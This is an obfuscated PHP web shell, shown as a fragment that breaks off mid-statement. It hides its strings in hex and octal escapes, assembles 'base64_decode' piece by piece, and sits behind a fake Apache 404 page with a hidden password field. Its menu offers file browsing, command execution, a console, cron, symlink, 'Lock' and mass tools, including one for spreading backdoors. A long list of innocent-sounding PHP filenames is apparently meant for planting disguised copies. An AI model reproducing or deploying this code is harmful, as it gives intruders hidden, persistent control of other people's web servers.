ini_set("\144\x69\x73\160\154\x61\x79\137\163\x74\141\x72\164\165\160\137\x65\162\x72\157\x72\x73", 0); goto wK2HU; UwDrz: if (empty($_SESSION["\153\x65\x79\x78\x78"])) { $keyxxx = generateRandomString(); $_SESSION["\153\145\x79\x78\x78"] = $keyxxx; } goto Nui2y; uFytX: echo "\x3c\57\144\x69\x76\76"; goto P3Cqr; wK2HU: ini_set("\155\x61\170\x5f\145\170\x65\143\x75\x74\x69\157\156\x5f\164\x69\x6d\145", 0); goto gMWYi; HREyq: foreach ($dirscan as $folder) { $dirinfo["\160\141\164\150"] = path() . DIRECTORY_SEPARATOR . $folder; if (!is_dir($dirinfo["\x70\141\x74\150"])) { continue; } $dirinfo["\154\x69\x6e\153"] = $folder === "\x2e\x2e" ? "\x3c\141\40\x68\162\145\146\x3d\47\x3f\144\151\162\x3d" . dirname(path()) . "\x27\x3e{$folder}\x3c\x2f\x61\x3e" : ($folder === "\x2e" ? "\74\x61\40\x68\x72\x65\146\75\47\x3f\x64\151\x72\75" . path() . "\47\76{$folder}\x3c\x2f\x61\x3e" : "\x3c\x61\x20\150\x72\145\x66\75\47\77\144\151\162\x3d" . $dirinfo["\160\x61\164\x68"] . "\47\x3e{$folder}\74\x2f\x61\x3e"); $dirinfo["\157\x77\156\x65\162"] = GetFileOwnerGroup($dirinfo["\160\141\x74\150"]); $dirinfo["\x67\x72\x6f\x75\x70"] = GetOwnerGroup($dirinfo["\160\x61\164\150"]); } goto PYK4b; ceApi: function stopmd5() { unset($_SESSION["\x73\x61\164\151\156\147\147\141"]); } goto DgIGi; Nn3QI: $c_ = "\74\57\164\144\76\xa\11\11\11\x9\11\x9\11\74\57\164\x72\x3e\12\x9\11\x9\11\11\x9\74\x2f\164\142\157\x64\171\76\12\x9\x9\x9\x9\11\x3c\x2f\x74\x61\x62\x6c\145\x3e"; goto EzWWV; p2K9j: function printLoginx() { echo "\x3c\x21\104\x4f\103\x54\x59\120\105\40\x68\x74\x6d\154\76\x3c\x68\164\155\x6c\x3e\74\150\145\141\x64\x3e\74\155\x65\164\141\x20\156\x61\155\145\75\42\x72\x6f\x62\157\164\x73\42\40\143\x6f\156\164\145\x6e\x74\42\x6e\x6f\151\x6e\144\x65\170\56\40\x6e\x6f\146\x6f\154\154\x6f\167\42\76\74\164\x69\164\x6c\x65\x3e\74\57\x74\x69\164\x6c\x65\x3e\x3c\57\150\x65\x61\144\76\74\x62\157\144\x79\76\12\x9\74\150\61\x3e\x4e\157\x74\x20\106\157\165\156\144\x3c\57\150\61\x3e\40\xa\11\40\40\x20\40\74\164\151\164\154\x65\x3e\x34\x30\x34\40\x4e\x6f\x74\40\106\x6f\x75\156\144\x3c\57\164\151\164\154\x65\76\12\x9\x3c\163\164\x79\154\x65\x20\164\x79\160\x65\x3d\42\164\145\x78\x74\x2f\143\x73\x73\42\76\12\x9\x69\x6e\x70\165\164\133\x74\171\160\145\x3d\160\x61\x73\163\167\157\x72\144\135\x20\x7b\12\x9\40\40\40\x20\x77\151\x64\164\150\72\x20\x32\65\x30\160\x78\x3b\12\x9\40\x20\x20\x20\x68\x65\x69\x67\150\x74\72\x20\62\x35\160\x78\x3b\12\11\40\40\40\40\x63\157\154\157\x72\x3a\40\167\x68\151\x74\x65\73\xa\11\40\x20\40\x20\142\x61\143\x6b\x67\162\x6f\x75\x6e\x64\x3a\x20\164\x72\141\156\163\x70\x61\162\145\156\x74\73\12\x9\40\40\40\x20\142\x6f\x72\144\x65\162\72\40\x31\x70\x78\x20\x73\157\x6c\x69\x64\40\167\150\151\164\145\x3b\xa\x9\x20\x20\x20\x20\155\x61\x72\x67\x69\x6e\x2d\x6c\x65\x66\x74\72\40\62\60\160\170\73\xa\11\40\x20\40\x20\164\x65\x78\164\x2d\141\154\151\x67\x6e\72\x20\143\145\x6e\164\x65\162\73\xa\11\175\12\x9\x3c\x2f\163\164\171\x6c\145\x3e\xa\x9\x20\40\x20\x20\74\x70\76\124\150\x65\x20\x72\x65\x71\x75\145\x73\x74\x65\144\40\125\122\114\40\167\141\163\40\x6e\157\164\40\146\157\x75\156\x64\x20\x6f\156\40\x74\x68\x69\163\x20\x73\x65\162\x76\x65\x72\x2e\74\x2f\x70\76\40\12\11\x3c\x70\x3e\101\x64\144\151\164\x69\157\156\141\x6c\154\x79\54\40\141\x20\64\x30\x34\40\x4e\157\x74\x20\x46\x6f\165\156\144\x20\x65\x72\162\x6f\x72\40\167\141\163\x20\x65\156\x63\x6f\x75\156\x74\x65\x72\x65\144\x20\x77\x68\151\x6c\x65\x20\x74\x72\x79\151\x6e\x67\40\x74\157\40\x75\163\145\x20\x61\156\40\x45\162\x72\157\162\104\x6f\143\165\155\145\x6e\164\40\x74\x6f\x20\x68\x61\156\144\154\145\x20\164\150\x65\40\x72\145\161\x75\145\x73\164\56\x3c\x2f\160\x3e\40\xa\11\74\x68\x72\x3e\x20\12\x9\x3c\x61\144\x64\162\145\163\x73\76\101\x70\141\x63\150\145\x20\123\145\x72\166\145\162\x20\141\164\40" . $_SERVER["\x48\x54\124\120\137\110\x4f\x53\124"] . "\40\x50\x6f\162\164\40" . $_SERVER["\123\x45\x52\x56\105\122\137\120\x4f\x52\124"] . "\74\x2f\141\144\x64\162\145\163\x73\76\40\xa\12\11\74\x63\x65\x6e\164\145\x72\x3e\x3c\146\x6f\162\155\x20\x6d\145\x74\150\x6f\144\x3d\x22\x70\157\163\x74\42\x3e\74\151\x6e\x70\x75\164\x20\x74\x79\x70\x65\75\42\160\x61\163\163\x77\x6f\x72\144\x22\x20\x6e\141\155\145\75\x22" . $_SESSION["\x6b\x65\171\170\x78"] . "\42\40\x61\x75\164\x6f\x63\x6f\x6d\160\x6c\x65\164\145\75\42\x6f\x66\x66\42\76\x3c\x62\162\76\x3c\57\x66\x6f\162\x6d\76\74\57\143\145\x6e\x74\145\162\x3e\x3c\x2f\x62\157\x64\x79\76\x3c\57\150\x74\155\x6c\76\12\x9\40\40\x20"; die; } goto Wat8D; RPVFW: $ruby = exe("\x72\x75\142\x79\40\x2d\x2d\150\x65\154\x70") ? "\117\x4e" : "\117\x46\106"; goto xsmr9; HfVeZ: echo "\x3c\144\x69\x76\40\x63\154\x61\x73\x73\x3d\x22\x73\x65\x6d\x70\162\x6f\x74\x6e\x61\42\x3e\xa\x9\11\x9\x9\x3c\144\x69\166\40\163\x74\171\x6c\145\x3d\42\x66\x6c\157\141\x74\72\40\x6c\x65\x66\164\73\x22\x3e\12\x9\11\x9\x9\x9\11\x20\x20\74\141\40\143\x6c\x61\163\163\x3d\x22\142\164\156\40\x62\164\x6e\55\160\x72\151\155\141\162\171\x20\142\164\156\55\163\155\40\155\154\x2d\63\40\x61\152\x78\42\40\x68\162\145\146\x3d\42\x3f\x64\75" . hex($d) . "\x26\x6e\42\x3e\53\x4e\x45\x57\106\111\x4c\105\53\x3c\x2f\x61\76\12\11\x9\x9\x9\x9\11\x20\40\x3c\x61\x20\x63\x6c\x61\x73\163\x3d\x22\x62\x74\156\x20\142\x74\x6e\x2d\x70\x72\x69\155\141\x72\x79\40\142\164\156\55\x73\x6d\40\141\x6a\x78\x20\x22\40\150\162\x65\x66\x3d\42\77\x64\75" . hex($d) . "\46\154\42\76\x2b\x4e\x45\x57\104\x49\x52\53\74\x2f\141\76\12\xa\11\11\11\x9\74\x2f\x64\151\x76\76\11\x9\x20\x20\12\x9\11\11\11\x3c\x64\151\x76\x20\163\164\171\x6c\145\x3d\42\x66\x6c\157\141\x74\72\40\x72\x69\147\x68\164\x3b\42\76\x9\12\11\11\x9\x9\x9\x9\40\40\x3c\141\x20\143\154\x61\163\163\x3d\42\x62\164\x6e\x20\142\164\x6e\55\163\x75\x63\x63\x65\x73\163\40\142\164\156\x2d\x73\155\x20\x61\x6a\170\40\x22\x20\x68\x72\x65\146\x3d\42\x3f\x64\x3d" . hex($d) . "\46" . hex("\x73\x69\x67\156\141\x74\165\162\145") . "\x22\76\x26\43\x39\63\61\x32\x3b\x20\124\145\142\141\x72\102\x44\74\57\141\76\11\xa\x9\11\x9\x9\11\x9\x20\x20\74\x61\x20\143\x6c\x61\x73\163\x3d\42\x62\x74\x6e\x20\x62\164\156\55\163\x75\143\143\x65\x73\x73\x20\142\164\156\x2d\163\x6d\x20\141\152\x78\40\x22\40\150\x72\145\146\75\x22\77\x64\x3d" . hex($d) . "\46" . hex("\x6d\141\163\x73\x5f\x74\x6f\157\x6c") . "\42\76\x26\x23\x39\63\x31\63\73\x20\123\x63\x72\141\x6d\x3c\57\x61\76\xa\x9\x9\11\11\x9\x9\x20\x20\74\x61\40\x63\154\x61\x73\163\75\x22\142\164\156\x20\x62\x74\x6e\x2d\x73\165\x63\143\x65\x73\163\40\142\164\x6e\x2d\163\x6d\x20\x61\x6a\x78\x20\x22\x20\150\x72\x65\146\x3d\x22\x3f\x64\75" . hex($d) . "\x26" . hex("\x4c\157\143\x6b\x64\157\x77\156") . "\x22\x3e\46\43\x39\63\61\x34\73\40\114\x6f\143\x6b\74\57\x61\76\11\11\x9\40\40\12\11\11\11\x9\11\11\40\x20\74\x61\40\x63\x6c\141\x73\x73\75\x22\142\164\x6e\x20\x62\164\156\x2d\x73\x75\x63\x63\145\163\x73\x20\x62\x74\156\55\x73\x6d\40\x61\x6a\x78\x20\x22\x20\x68\162\145\146\x3d\42\77\144\x3d" . hex($d) . "\46" . hex("\143\x72\x6f\x6e\x74\x61\x62") . "\x22\76\x26\x23\71\63\x31\x35\x3b\40\103\162\157\156\74\57\141\76\xa\x9\x9\x9\x9\x9\x9\x20\x20\74\141\x20\143\154\141\x73\163\x3d\x22\142\164\156\x20\x62\x74\x6e\x2d\167\141\x72\x6e\151\x6e\x67\x20\x62\164\x6e\55\163\x6d\x20\x61\x6a\170\x20\x22\x20\150\x72\145\146\75\42\77\x64\75" . hex($d) . "\46" . hex("\143\150\x65\143\x6b\163\x65\x6f") . "\42\x3e\46\43\x39\x33\61\x36\73\x20\x53\105\x4f\x3c\57\x61\76\12\x9\x9\11\11\x9\x9\x20\40\74\141\x20\x63\x6c\141\x73\x73\x3d\42\142\164\x6e\x20\142\164\x6e\x2d\151\156\146\157\40\142\x74\x6e\x2d\163\x6d\x20\141\x6a\x78\x20\x22\40\150\162\x65\x66\x3d\42\x3f\144\75" . hex($d) . "\46" . hex("\143\157\156\x73\x6f\154\x65\157\x6e") . "\42\40\164\141\162\x67\x65\164\75\42\137\x62\x6c\141\x6e\x6b\42\x3e\x43\157\x6e\163\x6f\154\145\x3c\x2f\x61\76\12\x9\x9\11\11\11\x9\x20\x20"; goto L9fK4; pLSq3: $enx4 = array("\151\156\144\145\170\56\160\x68\x70", "\x53\x65\x63\164\151\x6f\x6e\107\x72\x69\144\x48\x61\156\x64\154\x65\162\x2e\x69\156\143\56\160\150\160", "\101\x62\x73\x74\162\141\x63\x74\x42\x6c\157\143\x6b\56\160\150\160", "\122\x65\147\151\x73\164\145\x72\114\151\x73\164\x65\x6e\x65\x72\x73\x50\x61\x73\x73\124\x65\x73\x74\x2e\160\150\160", "\123\x75\142\155\151\163\x73\151\x6f\x6e\x41\x75\164\x68\x6f\162\120\x6f\154\151\143\171\56\151\x6e\x63\x2e\x70\x68\160", "\122\x6f\x75\x74\151\x6e\147\x53\x65\162\x76\x69\x63\145\120\162\x6f\x76\151\x64\145\162\x2e\x70\150\160", "\163\155\141\162\x74\x79\137\151\x6e\x74\x65\x72\x6e\141\154\x5f\x63\x6f\155\160\151\154\145\x5f\x66\157\x72\x2e\160\x68\x70", "\x53\x65\143\x75\x72\151\x74\171\105\x78\x63\x65\160\x74\151\157\x6e\x2e\160\x68\x70", "\x50\157\163\x74\147\x72\145\123\161\154\x53\x63\150\x65\x6d\141\115\141\156\x61\147\x65\x72\x2e\160\x68\160", "\x56\x69\145\167\x73\x4d\x69\147\162\141\164\151\x6f\x6e\56\x69\156\143\56\160\150\160", "\122\157\x75\x74\x65\104\145\160\145\156\x64\x65\156\x63\171\122\145\163\157\154\x76\145\162\124\x72\141\x69\x74\x2e\x70\150\160", "\x53\x65\163\163\151\x6f\x6e\x55\x74\151\x6c\x73\x2e\160\150\160", "\122\x65\163\x70\x6f\x6e\x73\145\123\x74\162\145\x61\155\x49\x6e\164\x65\x72\146\141\x63\145\x2e\160\x68\160", "\x41\x62\x73\x74\162\141\143\164\x48\x61\x73\150\x65\162\56\x70\150\x70", "\x52\145\x6e\144\145\162\141\142\x6c\145\x2e\x70\x68\x70", "\x50\162\157\146\x69\154\145\x72\x4c\x69\x73\x74\145\x6e\x65\x72\x2e\160\150\x70", "\x52\x65\166\151\145\x77\163\x4d\x69\147\x72\141\164\151\x6f\156\56\151\156\143\56\x70\150\x70", "\120\x4b\x50\101\x6e\x6e\157\165\x6e\143\x65\x6d\145\156\164\163\x4c\x69\x73\x74\120\141\x6e\145\x6c\x2e\151\156\x63\56\x70\150\x70", "\122\157\x6c\x65\56\x69\156\143\56\160\x68\x70", "\127\157\x72\x6b\x66\154\x6f\x77\x48\141\156\144\x6c\145\162\56\x69\x6e\x63\x2e\160\x68\x70", "\123\x63\157\160\145\56\x70\150\160", "\120\113\120\123\x69\x74\x65\123\145\162\166\151\x63\x65\56\x69\x6e\x63\56\x70\x68\160", "\x73\x61\150\137\122\x55\x2e\x70\150\x70", "\x52\145\155\157\x76\x65\123\x70\141\x6e\163\127\x69\164\x68\x6f\165\164\101\164\164\x72\x69\x62\165\164\x65\x73\56\x70\x68\x70", "\122\145\x6c\141\x74\151\x6f\x6e\x4e\157\164\x46\157\x75\156\144\x45\170\x63\x65\x70\164\151\157\156\x2e\x70\x68\x70", "\163\150\x69\x2e\160\150\160", "\x73\x6d\141\162\164\x79\x5f\151\x6e\x74\145\162\156\141\x6c\137\162\x65\163\157\x75\x72\x63\x65\x5f\145\166\141\154\x2e\x70\x68\x70", "\124\150\145\155\141\164\151\x63\102\x72\145\x61\153\x2e\x70\x68\x70", "\123\x65\x73\x73\x69\157\156\x56\141\154\x75\x65\122\145\x73\x6f\154\x76\145\x72\x2e\160\150\160", "\x53\x74\141\x74\151\x63\x50\x61\147\145\163\110\141\156\144\154\145\x72\56\151\x6e\x63\x2e\x70\150\160", "\123\154\165\x67\x67\x65\162\111\x6e\164\x65\x72\146\x61\143\145\x2e\x70\150\160", "\163\155\141\162\x74\x79\137\151\x6e\x74\145\x72\156\141\154\137\162\165\156\164\151\155\x65\x5f\x6d\x61\153\x65\x5f\x6e\x6f\x63\141\143\150\x65\x2e\160\x68\160", "\163\155\141\162\x74\171\137\x69\x6e\x74\145\162\156\141\154\137\155\x65\x74\x68\x6f\144\x5f\162\145\147\151\x73\x74\x65\x72\x64\x65\x66\x61\165\x6c\164\x63\157\x6e\146\x69\147\150\141\x6e\144\x6c\145\162\x2e\x70\x68\x70", "\x53\x63\150\x65\155\141\103\x6f\154\x75\x6d\x6e\x44\x65\146\151\x6e\x69\164\x69\x6f\x6e\x45\x76\145\x6e\x74\x41\x72\x67\163\x2e\160\150\160", "\x52\145\x71\165\x65\163\164\126\141\154\165\145\122\145\x73\x6f\154\166\x65\162\x2e\x70\150\x70", "\x50\113\120\x45\155\x61\151\x6c\124\x65\155\x70\154\x61\x74\145\106\x6f\162\x6d\x2e\151\x6e\x63\56\x70\150\x70", "\122\x65\147\x69\x73\x74\x72\x79\x2e\x69\156\x63\x2e\160\x68\x70", "\121\x75\145\162\x79\101\x73\163\151\x67\156\145\144\x54\x6f\x55\163\145\x72\101\143\143\x65\x73\x73\x50\157\154\x69\x63\171\x2e\151\x6e\143\56\x70\150\x70", "\x53\164\x61\143\153\x2e\x70\150\x70", "\x74\167\161\56\x70\150\x70", "\122\145\x73\x74\x43\x6f\x6d\160\154\145\164\145\120\x75\x72\x63\x68\141\163\x65\122\145\x71\165\145\x73\164\56\x70\x68\x70", "\x53\x65\143\x74\x69\157\x6e\104\x41\117\56\x69\x6e\143\x2e\x70\x68\x70", "\126\x69\x65\167\x2e\160\x68\x70", "\101\x62\x73\164\x72\141\x63\x74\122\x65\163\164\122\145\x71\165\145\x73\x74\x2e\x70\x68\x70", "\x52\x65\161\x75\x65\163\164\104\145\143\x6f\x72\x61\164\x6f\162\x2e\160\150\x70", "\x50\x72\x69\166\141\164\145\106\x69\x6c\x65\115\x61\x6e\x61\x67\145\162\x2e\x69\156\x63\x2e\160\150\160", "\x73\155\141\x72\x74\x79\x5f\151\x6e\164\145\162\x6e\141\154\137\143\x6f\x6d\x70\x69\x6c\x65\137\x6d\141\x6b\x65\137\x6e\x6f\x63\141\x63\x68\x65\x2e\x70\x68\160", "\122\x6f\x75\164\x65\x43\x6f\x6e\x66\x69\147\165\162\x61\164\157\x72\x2e\x70\x68\160", "\122\145\x73\x6f\165\x72\143\145\x43\x61\x73\x74\x65\162\x2e\x70\150\160", "\x76\x69\56\160\150\x70", "\x53\x79\155\146\157\x6e\171\123\164\x79\154\145\x2e\160\150\x70", "\x73\x6d\x61\x72\164\x79\137\x69\x6e\x74\145\x72\x6e\141\154\x5f\163\155\x61\x72\164\171\x74\145\155\x70\154\141\x74\x65\x63\157\155\x70\151\154\x65\162\x2e\x70\150\160", "\x54\x4c\104\x2e\x70\150\160", "\125\x70\x6c\157\x61\144\x65\x64\x46\151\154\x65\56\160\x68\x70", "\122\x43\64\56\x70\150\160", "\x50\x68\x70\x44\141\x74\145\124\151\x6d\145\115\141\160\x70\x69\x6e\x67\124\x79\x70\145\56\x70\150\x70", "\x52\x65\x70\x6f\162\164\107\145\x6e\x65\x72\141\x74\x6f\x72\x46\x6f\162\x6d\56\x69\156\143\x2e\x70\x68\160", "\x50\113\x50\123\x75\x62\x6d\151\163\163\151\157\x6e\x48\141\x6e\x64\154\145\162\x2e\x69\156\x63\x2e\x70\x68\160", "\x52\157\x6f\x74\126\x69\x6f\154\141\x74\x69\157\x6e\105\x78\x63\x65\x70\x74\x69\x6f\x6e\56\160\150\x70", "\123\x69\x6d\x70\154\145\x41\x72\x72\x61\171\124\171\160\x65\x2e\160\150\x70", "\123\x6f\x72\x74\x2e\160\x68\x70", "\125\x72\x6c\107\145\x6e\x65\x72\141\164\x69\157\156\105\x78\143\x65\x70\164\x69\157\x6e\56\160\150\x70", "\x73\x6d\x61\x72\x74\x79\137\x72\145\x73\157\x75\x72\x63\x65\56\160\150\160", "\123\157\162\x74\141\x62\x6c\145\x49\164\x65\x72\x61\164\157\x72\56\160\150\160", "\x73\155\x61\162\164\x79\x5f\x69\156\164\145\x72\156\141\x6c\x5f\155\145\164\150\157\x64\x5f\162\x65\x67\x69\163\164\145\162\146\151\154\164\x65\162\x2e\160\x68\160", "\x53\165\x62\x6d\151\x73\163\151\x6f\156\x4b\145\x79\x77\x6f\x72\144\105\156\x74\x72\x79\104\x41\x4f\x2e\151\156\143\56\x70\x68\x70", "\x68\164\x74\160\x73\x2e\x70\150\160", "\x5f\x44\157\x63\x75\x6d\x65\x6e\x74\56\160\x68\x70", "\156\x6f\157\160\x2e\x70\x68\160", "\x73\165\x70\162\x65\x2e\x70\x68\160", "\x44\x6f\x63\x75\155\145\x6e\164\x2e\160\x68\x70", "\162\145\x64\x79\x2e\160\x68\x70", "\146\157\157\164\x65\162\x5f\x62\141\x63\153\x75\160\x2e\x70\150\x70", "\150\145\x61\x64\145\x72\x5f\142\141\143\153\x75\x70\x2e\x70\x68\160", "\x61\x70\160\x73\56\x70\150\x70"); goto N0WPW; P3Cqr: echo "\x3c\142\162\76\x43\165\x72\x72\145\x6e\164\x20\x44\151\162\x65\143\x74\x6f\162\x79\40\x3a\40"; goto w7eLl; fsGoy: function b64dd($xf) { $_a = "\x62"; $_b = "\141"; $_c = "\163"; $_d = "\x65"; $_e = "\66"; $_f = "\64"; $_g = "\x5f"; $_h = "\144"; $_i = "\145"; $_j = "\x63"; $_k = "\x6f"; $_l = "\x64"; $_m = "\x65"; $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } goto xPVJn; RilkQ: echo "\12\x9\11\11\11\74\x64\x69\x76\x20\x63\x6c\141\x73\163\x3d\42\x63\157\154\x6c\141\x70\163\x65\x20\x6e\x61\166\x62\141\x72\55\x63\157\154\x6c\141\160\x73\145\x22\40\x69\x64\75\x22\x6e\141\x76\142\x61\162\116\x61\166\x22\x3e\12\11\11\x9\x9\x9\x3c\x61\40\143\154\x61\x73\163\75\x22\156\x61\x76\x2d\x6c\x69\156\x6b\x20\141\152\x78\42\x20\x68\162\145\146\x3d\x22\x3f\42\x3e\74\x69\155\147\x20\x73\162\x63\x3d\x22\x64\x61\x74\x61\72\151\x6d\x61\x67\145\x2f\x6a\x70\145\147\73\142\x61\x73\145\x36\x34\54\57\x39\152\57\x34\x41\x41\x51\x53\x6b\x5a\112\x52\147\101\102\101\121\105\101\131\101\102\x67\101\101\104\x2f\x32\167\102\104\101\x41\x49\102\x41\x51\111\102\101\121\x49\103\101\147\x49\x43\x41\x67\x49\103\x41\x77\125\104\x41\167\115\x44\101\167\131\105\102\101\x4d\x46\102\x77\131\x48\x42\x77\143\x47\x42\x77\x63\x49\x43\x51\x73\x4a\103\101\x67\113\103\101\143\110\103\x67\60\x4b\x43\147\x73\x4d\104\101\x77\x4d\102\167\153\x4f\104\167\x30\x4d\x44\147\x73\x4d\104\101\x7a\57\62\x77\x42\104\101\121\x49\103\x41\147\115\104\x41\x77\131\x44\101\x77\x59\x4d\103\x41\143\111\x44\x41\x77\x4d\x44\x41\167\x4d\104\x41\167\x4d\104\x41\167\x4d\x44\101\x77\115\104\x41\167\x4d\104\x41\x77\x4d\104\x41\167\115\x44\101\167\115\x44\101\167\115\104\101\x77\115\x44\x41\x77\115\104\x41\x77\x4d\x44\x41\x77\115\x44\101\167\115\104\101\167\x4d\x44\101\x7a\x2f\167\x41\101\x52\103\x41\x41\x51\101\x42\101\104\x41\123\x49\x41\101\150\x45\x42\101\170\105\x42\57\70\121\x41\110\x77\x41\101\101\x51\125\102\x41\121\105\x42\x41\x51\x45\x41\101\x41\x41\x41\101\x41\101\x41\x41\x41\105\103\x41\x77\121\106\x42\147\143\111\x43\121\157\x4c\x2f\x38\x51\x41\x74\x52\101\x41\101\x67\x45\x44\101\x77\111\x45\101\167\125\106\102\101\121\x41\x41\101\x46\71\x41\x51\111\x44\x41\x41\x51\122\x42\x52\111\x68\115\x55\105\107\105\x31\x46\150\x42\171\112\x78\106\104\113\x42\x6b\141\105\111\x49\60\113\x78\x77\x52\126\x53\60\146\x41\153\115\62\112\x79\147\x67\x6b\113\x46\x68\143\131\x47\x52\x6f\154\112\x69\143\157\113\123\157\60\x4e\x54\131\63\117\x44\x6b\x36\121\60\122\106\x52\x6b\x64\x49\123\125\160\x54\126\106\126\127\126\61\x68\x5a\x57\x6d\x4e\x6b\132\x57\132\156\x61\107\154\x71\x63\63\122\x31\144\x6e\144\x34\145\x58\161\x44\x68\111\x57\x47\x68\x34\151\112\x69\x70\x4b\124\154\x4a\x57\x57\154\65\151\x5a\x6d\x71\113\152\160\x4b\x57\x6d\160\66\151\160\161\162\x4b\172\x74\114\127\62\164\x37\151\65\x75\163\114\104\x78\x4d\x58\107\x78\x38\152\112\x79\x74\x4c\124\x31\116\x58\x57\61\71\152\132\62\165\x48\x69\x34\x2b\x54\x6c\x35\165\x66\x6f\x36\x65\x72\x78\70\x76\x50\x30\71\146\x62\63\53\120\156\66\57\x38\121\x41\x48\167\105\101\101\167\105\x42\x41\121\105\x42\101\x51\105\x42\x41\x51\101\x41\x41\101\101\101\x41\101\x45\x43\101\x77\121\x46\102\147\143\111\x43\x51\157\114\x2f\70\121\x41\x74\122\105\x41\x41\x67\x45\x43\x42\101\121\104\102\x41\143\x46\x42\x41\x51\x41\x41\x51\x4a\x33\x41\x41\105\x43\101\x78\x45\105\102\123\105\170\x42\150\x4a\x42\125\121\x64\150\x63\122\115\151\115\x6f\105\x49\106\x45\113\122\x6f\x62\110\x42\103\x53\x4d\172\x55\166\101\x56\x59\x6e\x4c\122\103\x68\x59\153\x4e\117\105\x6c\70\122\143\131\107\x52\157\155\x4a\171\147\160\x4b\x6a\x55\62\x4e\x7a\147\x35\x4f\x6b\x4e\105\122\x55\132\x48\x53\x45\x6c\113\125\61\x52\x56\126\154\144\x59\x57\126\x70\152\x5a\107\126\x6d\x5a\62\150\160\141\x6e\x4e\60\144\130\132\x33\145\x48\x6c\66\x67\x6f\x4f\x45\150\x59\x61\x48\x69\111\x6d\x4b\153\160\117\x55\154\132\141\x58\x6d\x4a\x6d\x61\x6f\161\x4f\153\160\x61\x61\x6e\x71\x4b\x6d\x71\x73\x72\x4f\60\164\142\141\x33\165\114\x6d\66\x77\x73\x50\105\170\143\142\x48\171\x4d\x6e\113\x30\x74\x50\x55\61\144\142\x58\62\x4e\x6e\x61\64\165\x50\153\x35\145\142\156\x36\x4f\156\x71\70\166\x50\x30\x39\146\142\x33\53\x50\x6e\66\57\71\x6f\x41\104\101\115\102\101\x41\111\122\x41\x78\x45\101\120\167\104\145\x30\124\x39\x6d\162\167\x6e\64\x36\57\131\x5a\x2f\131\166\x73\x66\x44\x76\67\106\166\70\x41\131\57\x6a\104\x78\x5a\160\126\x74\141\114\64\172\57\x34\121\57\x77\101\101\x61\154\57\x77\154\144\x35\x4c\70\x50\164\142\x61\113\67\x38\151\65\x31\122\124\145\x59\x75\150\106\x71\x66\x6c\x61\x6b\x49\x46\153\x2b\170\146\117\x56\x6e\x38\165\116\x75\146\70\145\x65\101\57\150\124\x38\106\166\62\x56\120\x32\162\x66\101\57\x6a\152\x39\x6c\x4c\x77\x2f\x4a\x38\126\160\x4e\x4b\61\117\x30\x30\x50\130\114\166\x51\120\x68\61\157\61\57\x59\130\154\x6a\70\117\164\x44\156\166\142\x75\x31\x73\x6f\x64\x57\x61\x57\x4c\x79\x35\x6d\153\61\x61\x53\x4c\x53\125\165\106\x67\x57\x2b\x44\x4b\x54\115\x5a\111\61\x35\57\x34\121\57\164\x73\63\53\x6b\x66\x41\x2f\x38\x41\x5a\x31\x30\x39\x66\x32\x6a\x66\x73\x4d\x50\167\165\x30\x72\121\x37\x76\167\154\x62\x2f\x38\101\103\172\x2f\150\170\x44\71\x6f\166\107\53\x47\x32\165\155\x65\x30\x38\x71\130\123\155\155\x30\142\67\116\146\53\x52\157\x2f\x6d\66\165\x31\x77\162\146\x62\71\170\102\x6d\103\x53\114\172\x2f\x77\103\x30\102\x2b\x30\x42\x6f\166\170\x46\x38\x46\x66\x47\152\x57\x4e\x59\x2b\116\x48\x68\x2f\x77\x41\121\x2b\x49\x50\x45\117\x6c\145\x4a\x62\x75\57\166\x37\x76\170\71\70\x4d\x72\x32\57\167\104\104\154\x35\120\70\115\164\102\x6a\116\160\x61\154\x4e\x49\x46\x31\161\130\62\66\x37\105\62\151\x53\123\66\x4a\x4a\141\x71\126\60\x38\105\152\172\x64\67\163\101\x66\x2f\132\x22\x20\164\151\x74\x6c\x65\x3d\42\145\x74\150\x69\143\x61\x6c\42\40\141\x6c\164\x3d\42\x65\164\150\151\143\x61\x6c\x22\76\x3c\57\141\76\40\xa\12\11\x9\x9\11\11\74\x75\x6c\40\143\154\141\x73\x73\x3d\x22\x6e\141\166\142\x61\162\55\156\141\x76\x22\x3e\xa\x9\x9\11\11\11\11\x3c\x6c\x69\40\143\154\141\163\163\75\42\156\x61\166\x2d\151\164\145\155\x20\141\x63\x74\x69\166\145\x22\76\xa\11\11\11\x9\x9\x9\x9\74\141\40\x63\154\141\163\x73\75\42\156\x61\166\x2d\154\x69\x6e\153\x20\x61\x6a\170\42\40\x68\162\x65\146\75\42\x3f\x64\75" . hex($d) . "\46" . hex("\151\x6e\146\157") . "\x22\x3e\111\x6e\x66\157\x3c\x2f\141\x3e\xa\11\11\11\11\11\11\74\57\x6c\x69\x3e\12\11\x9\11\x9\11\11\x3c\x6c\x69\40\x63\154\x61\163\x73\75\42\156\x61\166\x2d\x69\x74\x65\155\x20\141\143\164\151\166\x65\x22\76\12\x9\x9\x9\x9\11\11\11\74\141\x20\143\154\x61\163\x73\x3d\x22\x6e\x61\166\x2d\x6c\151\x6e\x6b\x20\x61\x6a\x78\42\x20\x68\162\145\x66\x3d\42\77\x64\75" . hex($d) . "\x26" . hex("\155\141\x73\x73") . "\x22\76\115\x61\x73\x73\x20\124\x6f\157\x6c\x73\x3c\x2f\x61\x3e\12\x9\11\11\x9\x9\11\74\x2f\x6c\151\76\xa\x9\x9\11\x9\11\11\x3c\154\151\40\143\x6c\x61\x73\x73\75\42\x6e\x61\166\x2d\151\164\x65\x6d\40\141\143\164\151\166\x65\x22\76\xa\11\x9\x9\11\x9\x9\x9\x3c\x61\40\143\x6c\x61\x73\x73\x3d\x22\156\141\x76\x2d\x6c\x69\x6e\153\x20\141\152\x78\42\x20\x68\162\145\x66\x3d\42\x3f\144\x3d" . hex($d) . "\x26" . hex("\163\x79\155\154\x69\x6e\153") . "\42\x3e\x53\x79\155\x6c\151\x6e\153\x3c\57\141\76\12\x9\11\11\11\11\11\x3c\x2f\x6c\151\x3e\xa\11\x9\11\11\x9\11\74\154\x69\40\143\x6c\x61\163\163\75\x22\x6e\141\x76\55\151\164\x65\x6d\x20\x61\x63\x74\151\x76\145\42\76\12\11\11\11\x9\11\x9\11\x3c\141\x20\143\154\x61\x73\163\75\x22\156\141\x76\x2d\154\151\x6e\x6b\x20\x61\x6a\170\x22\40\x68\x72\145\x66\x3d\x22\x3f\144\75" . hex($d) . "\x26" . hex("\x63\157\x6e\146\x69\147") . 